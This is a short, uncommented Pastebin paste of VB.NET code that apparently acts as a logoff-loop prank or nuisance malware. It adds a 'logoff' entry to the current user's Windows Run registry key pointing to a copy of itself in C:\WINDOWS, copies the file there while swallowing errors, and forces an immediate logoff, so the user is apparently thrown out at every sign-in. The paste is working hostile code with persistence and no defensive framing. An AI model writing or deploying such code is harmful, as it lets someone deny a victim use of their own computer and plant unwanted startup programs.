Advertisement
Guest User

Untitled

a guest
Sep 25th, 2017
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.         Dim regloc As String = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
  2.         Dim regname As String = "logoff"
  3.         Dim filepath As String = "C:\WINDOWS\restart.exe"
  4.         My.Computer.Registry.SetValue(regloc, regname, filepath, Microsoft.Win32.RegistryValueKind.String)
  5.         Try
  6.             My.Computer.FileSystem.CopyFile("./restart.exe", "C:\WINDOWS\restart.exe")
  7.         Catch ex As Exception
  8.         End Try
  9.         System.Diagnostics.Process.Start("shutdown", "-l -t 00")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement